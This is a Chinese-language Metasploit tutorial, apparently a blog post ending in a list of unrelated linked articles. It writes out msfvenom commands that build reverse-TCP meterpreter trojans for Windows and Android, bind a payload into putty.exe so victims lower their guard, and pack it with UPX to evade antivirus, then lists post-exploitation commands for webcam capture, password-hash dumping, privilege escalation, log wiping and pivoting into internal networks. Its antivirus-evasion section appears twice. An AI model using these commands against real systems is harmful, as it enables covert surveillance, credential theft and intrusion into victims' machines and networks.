0.Metasploit简介

Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。

1.Metasploit安装

Windows平台

首先从官方网站下载安装程序:

http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe

默认端口:3650

关闭杀毒软件后以管理员身份运行安装程序,安装过程会附带安装PostgreSQL数据库用以存储metasploit内各模块,载荷等索引,加快搜索速度

安装完成后,在桌面生成Metasploit的快捷方式,右键以管理员身份运行将打开cmd并运行Metasploit控制台

Windows下启动Metasploit时加载时间较长,若无反应请耐心等待3-5分钟

Windows平台上,Metasploit还提供了Web访问界面,实现图形化的操作

Linux平台

从github获取

git clone https://github.com/rapid7/metasploit-framework.git

切换到metasploit-framework目录,赋予msfconsol执行权限并启动

cd metasploit-framework && chmod +x msfconsole && ./msfconsole

使用以下命令下载一键式安装程序,具体安装进度试网络情况

cd /opt &&  curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstall

Kali Linux自带了Metasploit以及自动化渗透工具Armitage

Android平台

安卓安装Metasploit实际上是先在安卓上安装一个linux子系统,然后再在此基础上安装Metasploit,虽然过程复杂繁琐,但在企业网络环境下进行渗透测时,拎着一台笔记本接入网络也许会太过显眼,这种情况下在安卓手机或平板上安装Metasploit也不失为一种选择

前提:安卓手机或平板需要root权限

通常选择安装Termux作为基本环境,启动后会联网下载系统,具体时间视网络环境长短不一,所以你可以选择在这时候睡个午觉什么的 =.=#

Termux使用apt包管理器,执行以下命令更新

apt-get update && apt-get upgrade -y && apt dist-upgrade -y

接下来的安装Metasploit和上述linux平台安装相同

2.使用Metasploit进行渗透测试

Terminal下msf常用命令简介

msfdb init          					msf数据库初始化
apt install metasploit framework msf更新
msfVENOM 多平台攻击载荷生成器
msf-nasm_shell 将汇编指令转换成为对应的16进制机器码
msfconsole 打开msf终端

msf终端下常用命令简介

db_status           查看数msf据库连接状态,连接数据库能够优化搜索等过程

db_rebuild_cache    重建缓存,将模块等索引重新存入数据库

db_nmap             调用nmap扫描,并将扫描结果存入数据库

help [db_connect]   显示命令的帮助信息

search [module]     搜索含有关键字的模块

use [module]        选择使用一个模块(以ms17_010永恒之蓝为例)

show payload        显示该模块支持的payload

show options        显示该模块需要设置的参数(其中required为no的表示不是必须的参数)

info                如果觉得show命令显示的不够完整可以直接输入info查看详细详细

set [opt]           使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)

setg [opt]          设置全局参数,对于ip之类的参数可以设置为全局,当切换模块后就不需要再次设置ip参数(对应使用unsetg取消设置)

back                返回上级状态

exploit/run         两个命令都表示运行攻击模块

sessions            查看当前连接的会话

3.使用msfvenom生成木马文件

t关于payload的选择,出于防火墙等多种原因,目标主机上可能会限制外网对内网一些端口的访问,甚至是只开放一些端口然后关闭其他所有端口。在这种情况下,让目标主机回连攻击者成为更好的一种选择,这种模式相当于目标主机自己发出一个对外的连接请求,属于正常的流量,因此可以绕过安全设置,所以在选择payload时普遍选择使用带reverse的payload。

一般32位使用windows/meterpreter_reverse_tcp 而64位的使用windows/x64/meterpreter_reverse_tcp。当然仍然需要根据不同的需求选择不同的载荷

查看可使用的载荷/编码器/nops/所有列表

msfvenom -l payload/encoders/nops/all

查看可生成的木马文件格式,使用-f 指定木马格式

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -a x64 -f exe -o backdoor_raw.exe

生成安卓木马

msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -o backdoor_raw.apk

msf终端监听会连回话

use exploit/multi/handler           该模块用于接收回连会话,一般只需要设置监听主机和端口号

4.木马免杀

使用多个编码器混合进行多重编码

不推荐使用,免杀率低,编码时间长,且生成的木马可能会出现无法运行或运行后无法回连到攻击端的情况

"-f raw" 表示生成原始木马,这种通过管道生成的木马只需要不断传递,所以只需要在最后一条命令指定生成的格式,而在此之前都应该使用raw的原始木马

捆绑到正常文件中

推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值

选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -x putty.exe -k -f exe -o backdoor_putty.exe

加壳

推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择

upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h

上述方法综合使用

附上一个在线检测木马的网站: http://www.virscan.org/

捆绑到正常文件中

推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值

选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子

加壳

推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择

upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h

上述方法综合使用

附上一个在线检测木马的网站: http://www.virscan.org/

5.meterpreter后渗透利用

通过exploit/multi/handler模块监听,并与目标主机建立连接后,能够使用meterpreter进行后渗透利用

pwd                 打印当前工作目录

sysinfo             查看系统信息

ps                  查看当前目标机上运行的进程列表和pid

webcam_snap         调用相机拍摄照片(使用webcam_stream能够通过浏览器模拟录像机,实现实时监控)

run vnc             运行vnc远程查看屏幕(run screen_unlock实现远程控制)

run post/windows/manage/enable_rdp          如果目标主机是windows系统,使用该命令开启目标的远程桌面3389

screenshot          截取目标主机当前屏幕

getuid              获取当前权限的用户id

getsystem           获取system权限

hashdump            获取用户名与hash口令

shell               获取目标主机shell(windows环境下中文乱码的解决办法:chcp 65001

Ctrl+Z              退出shell模式,返回到meterpreter

upload              上传一个文件

download            下载一个文件

excute              执行目标系统中的文件(-f 指定文件,-i执行可交互模式,-H隐藏窗口)

clearev             清除日志

background          将Meterpreter放入后台(使用session -i重新连接到会话)

6.Meterpreter进行内网渗透简介

在渗透过程中,当你拿到一台能够连接公网的的主机的权限时,这台主机可能还连接着一个内部的局域网络,而且这个局域网内的其他主机没有对外访问的权限。这是一种很常见的局域网模式,通常一些无法连接外网的主机内可能存放着一些敏感文件,此时可以通过以及控制的那台主机作为攻击者访问内网的跳板,用来实施对内网的渗透

添加到达内网的路由

run get_local_subnets           		获取目标主机上的子网状态,其中192.168.16.0和攻击机在同一个网段,169.254.0.0是vritualbox的内部网卡模式

run autoroute -s 169.254.0.0/16 1        使用autoroute模块添加到达内网的路由经session 1转发

run autoroute -p                         查看当前的路由表,可以看到发往169.254.0.0网段的流量都将通过session 1转发

接下来就可以在msf下使用db_nmap扫描内网存活主机,针对内网的开放端口进行攻击
portfwd端口转发
端口转发能够将内网端口转发到本地主机的端口,相当于virtualbox的端口映射功能。
portfwd -h 查看帮助信息 portfwd add -l 7070 -r 192.168.16.59 -p 3389 将目标主机192.168.16.59的3389转发到本地主机的7070端口 rdesktop 127.0.0.1:7070 端口转发成功后就可以从本地端口连接rdp

参考书籍《Metasploit The Penetration Tester's Guide.》《Metasploit渗透测试指南(修订版)》

Metasploit入门教程的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——ShellCode

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...

  2. wepack+sass+vue 入门教程(三)

    十一.安装sass文件转换为css需要的相关依赖包 npm install --save-dev sass-loader style-loader css-loader loader的作用是辅助web ...

  3. wepack+sass+vue 入门教程(二)

    六.新建webpack配置文件 webpack.config.js 文件整体框架内容如下,后续会详细说明每个配置项的配置 webpack.config.js直接放在项目demo目录下 module.e ...

  4. wepack+sass+vue 入门教程(一)

    一.安装node.js node.js是基础,必须先安装.而且最新版的node.js,已经集成了npm. 下载地址 node安装,一路按默认即可. 二.全局安装webpack npm install ...

  5. Content Security Policy 入门教程

    阮一峰文章:Content Security Policy 入门教程

  6. gulp详细入门教程

    本文链接:http://www.ydcss.com/archives/18 gulp详细入门教程 简介: gulp是前端开发过程中对代码进行构建的工具,是自动化项目的构建利器:她不仅能对网站资源进行优 ...

  7. UE4新手引导入门教程

    请大家去这个地址下载:file:///D:/UE4%20Doc/虚幻4新手引导入门教程.pdf

  8. ABP(现代ASP.NET样板开发框架)系列之2、ABP入门教程

    点这里进入ABP系列文章总目录 基于DDD的现代ASP.NET开发框架--ABP系列之2.ABP入门教程 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)” ...

  9. webpack入门教程之初识loader(二)

    上一节我们学习了webpack的安装和编译,这一节我们来一起学习webpack的加载器和配置文件. 要想让网页看起来绚丽多彩,那么css就是必不可少的一份子.如果想要在应用中增加一个css文件,那么w ...

随机推荐

  1. Codeforces Round #452 (Div. 2) 899E E. Segments Removal

    题 OvO http://codeforces.com/contest/899/problem/E Codeforces Round #452 (Div. 2) - e 899E 解 用两个并查集(记 ...

  2. zuul网管配置其他服务时 HTTP Status 500 – Internal Server Error

    1.这个错误是由三个原因导致的 (1).我在给类的接口命名的时候前面少加了一个/ (2)给zuul配置路由的时候多加了个服务名,serviceId名称就是spring的name,而不是eureka注入 ...

  3. BZOJ 2165: 大楼 倍增Floyd

    卡了一上午常数,本地13s,可是bzoj 就是过不去~ #include <bits/stdc++.h> #define N 102 #define M 55 #define ll lon ...

  4. 【原创】洛谷 LUOGU P3379 【模板】最近公共祖先(LCA) -> 倍增

    P3379 [模板]最近公共祖先(LCA) 题目描述 如题,给定一棵有根多叉树,请求出指定两个点直接最近的公共祖先. 输入输出格式 输入格式: 第一行包含三个正整数N.M.S,分别表示树的结点个数.询 ...

  5. kubernetes 的数据的存储 存储卷

    根据应用本身是否 需要持久存储数据,以及某一此请求和此前的请求是否有关联性,可以分为四类应用: 1.有状态要存储 2.有状态无持久存储 3.无状态无持久存储4.无状态有持久存储 在k8s上的数据持久性 ...

  6. [JZOJ6345]:ZYB建围墙(数学+构造)

    题目描述 $ZYB$之国是特殊的六边形构造. 已知王国一共有$N$户家庭,每个家庭需占据一个不同的六边形格子. 王国里交流很频繁,所以这些家庭要构成一个连通区域:同时出于安全考虑,国王$ZYB$想在外 ...

  7. Spring AOP常见面试题

    一.AOP是什么? 与OOP对比,面向切面,传统的OOP开发中的代码逻辑是至上而下的过程中会长生一些横切性问题,这些横切性的问题和我们的主业务逻辑关系不会散落在代码的各个地方,造成难以维护,AOP的编 ...

  8. redis的主从复制原理

    1. 前言 和MySQL主从复制的原因一样,Redis虽然读取写入的速度都特别快,但是也会产生读压力特别大的情况.为了分担读压力,Redis支持主从复制,Redis主从复制可以根据是否是全量分为全量同 ...

  9. pm2 常用配置项解析

    1.解析 1. apps:json结构,apps是一个数组,每一个数组成员就是对应一个pm2中运行的应用 2. name:应用程序名称"app" 3. cwd:应用程序所在的目录& ...

  10. koa 项目实战(六)注册接口加密

    1.创建工具类 根目录/config/tools.js const bcrypt = require('bcryptjs'); const tools = { enbcrypt(password) { ...